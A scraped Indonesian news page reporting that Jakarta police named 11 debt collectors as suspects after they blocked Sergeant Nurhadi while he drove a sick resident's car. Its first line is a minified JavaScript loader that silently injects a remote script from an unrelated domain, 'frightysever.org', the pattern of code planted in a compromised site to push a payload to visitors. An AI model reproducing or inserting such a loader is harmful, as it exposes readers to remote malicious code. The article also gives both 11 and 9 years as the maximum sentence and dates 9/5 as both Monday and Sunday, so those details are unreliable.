(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Debt Collector Penghadang Serda Nurhadi Terancam 9 Tahun Penjara


KANALKALIMANTAN.COM – Satuan Reserse Kriminal Polres Metro Jakarta Utara telah menetapkan 11 debt collector atau tukang tagih penghadang anggota TNI sebagai tersangka. Mereka terancam hukuman maksimal 11 tahun penjara.

Wakapolres Metro Jakarta Utara, AKBP Nasriadi mengatakan sebelas tersangka itu masing-masing Hendry Leatomu (27), Yosep Meka (23), Jhon Adri (29), Hanoch Hamnes (26), Piter (29), Gerio (38), Gerry (27), Joefare (21), Alfian (27), Donny (26), dan Hervy (25). Mereka dijerat dengan Pasal 335 Ayat 1 dan atau 365 Ayat 1 Juncto Pasal 53 KUHP.

“Ancamannya sembilan tahun penjara dan saat ini masih proses penyidikan di Polres Jakarta Utara,” kata Nasriadi saat jumpa pers di Markas Kodam Jaya, Cililitan, Jakarta Timur, Senin (9/5/2021).

Tim Gabungan Kodam Jaya dan Polda Metro Jaya sebelumnya mengamankan debt collector yang sempat menghadang Serda Nurhadi. Total debt collector yang diamankan berjumlah 11 orang.

Baca juga : Dua Oknum Polisi Jadi Tersangka Kasus Penganiayaan Jurnalis Tempo

Aksi premanisme oknum debt collector terhadap Serda Nurhadi terjadi pada Kamis (6/5) siang. Mulanya, Serda Nurhadi yang merupakan Babinsa Ramil Semper Timur II/O5 Kodim Utara 0502 mendapat laporan dari Satpol PP adanya mobil milik warga yang hendak menuju ke rumah sakit dihadang oleh sepuluh debt collector hingga menimbulkan kemacetan. Sehingga anggota Babinsa tersebut berinisiatif untuk membantu dan mengambil alih supir mobil untuk mengantar ke rumah sakit melalui jalan Tol Koja Barat.

“Namun dikerubuti oleh beberapa orang debt collector, karena kondisi kurang bagus maka Serda Nurhadi membawa mobil tersebut ke Polres Jakut dengan diikuti oleh beberapa orang debt collector,” tutur Kapendam Jaya Kolonel Arh Herwin BS kepada wartawan, Minggu (9/5) kemarin.

Herwin menyebut kendaraan Honda Mobilio dengan nomor polisi B 2638 BZK itu merupakan milik warga Tanjung Priok bernama Naras. Serda Nurhadi, kata Herwin, tidak mengetahui terkait permasalahan angsuran mobil tersebut.

“Serda Nurhadi sebagai Babinsa hanya terpanggil untuk membantu warga yang sedang sakit untuk di bawa ke RS dan tidak mengetahui kondisi mobil tersebut bermasalah,” terangnya.

Baca juga : Mengintip Dapur Pembuatan Bipang Ambawang yang Dipromosikan Jokowi

Pangdam Jaya Mayjen TNI Dudung Abdurachman telah memastikan Serda Nurhadi tidak memiliki hubungan keluarga dengan pemilik mobil. Dia menyebut apa yang dilakukan oleh Serda Nurhadi semata-mata murni menolong warga yang hendak ke rumah sakit.(Suara.com)

 

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.